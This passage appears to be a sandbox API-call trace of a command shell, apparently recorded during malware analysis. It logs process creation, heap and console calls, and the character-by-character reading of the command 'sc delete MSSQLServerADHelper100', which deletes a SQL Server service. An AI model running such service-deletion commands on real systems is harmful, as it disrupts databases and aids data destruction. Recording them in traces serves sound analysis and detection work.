lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb74, dwThreadId=0xb2c)) returned 1 [0070.659] CloseHandle (hObject=0x50) returned 1 [0070.659] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.660] GetProcessHeap () returned 0x4a0000 [0070.660] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0070.660] GetEnvironmentStringsW () returned 0x4c1b10* [0070.660] GetProcessHeap () returned 0x4a0000 [0070.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.660] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.660] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.660] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.660] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0070.957] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.957] CloseHandle (hObject=0x54) returned 1 [0070.957] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.957] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.957] GetProcessHeap () returned 0x4a0000 [0070.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.957] GetEnvironmentStringsW () returned 0x4c1b10* [0070.957] GetProcessHeap () returned 0x4a0000 [0070.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.957] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.957] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.957] GetProcessHeap () returned 0x4a0000 [0070.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.957] GetEnvironmentStringsW () returned 0x4c1b10* [0070.957] GetProcessHeap () returned 0x4a0000 [0070.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.957] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.957] GetProcessHeap () returned 0x4a0000 [0070.958] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.958] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.958] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.958] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.958] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.958] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.958] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.958] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.959] GetConsoleOutputCP () returned 0x1b5 [0070.959] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.959] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.959] GetProcessHeap () returned 0x4a0000 [0070.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.959] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.959] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.959] GetFileType (hFile=0x120) returned 0x3 [0070.960] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.960] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.960] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.960] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0070.960] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.960] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.960] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.960] GetFileType (hFile=0x120) returned 0x3 [0070.960] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.960] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.960] GetFileType (hFile=0xb8) returned 0x3 [0070.960] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.960] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerADHelper100\n\n") returned 1 [0070.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerADHelper100\n\n") returned 1 [0070.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerADHelper100\n\n") returned 1 [0070.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerADHelper100\n\n") returned 1 [0070.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerADHelper100\n\n") returned 1 [0070.961] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.961] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.961] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.961] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.962] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.962] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SSQLServerADHelper100\n\n") returned 1 [0070.962] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.962] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SQLServerADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="QLServerADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="LServerADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="ServerADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="erverADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.963] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="rverADHelper100\n\n") returned 1 [0070.963] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.963] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="verADHelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="erADHelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="rADHelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="ODHelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="LHelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.964] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="Aelper100\n\n") returned 1 [0070.964] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.964] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.964] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="Plper100\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="Sper100\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, 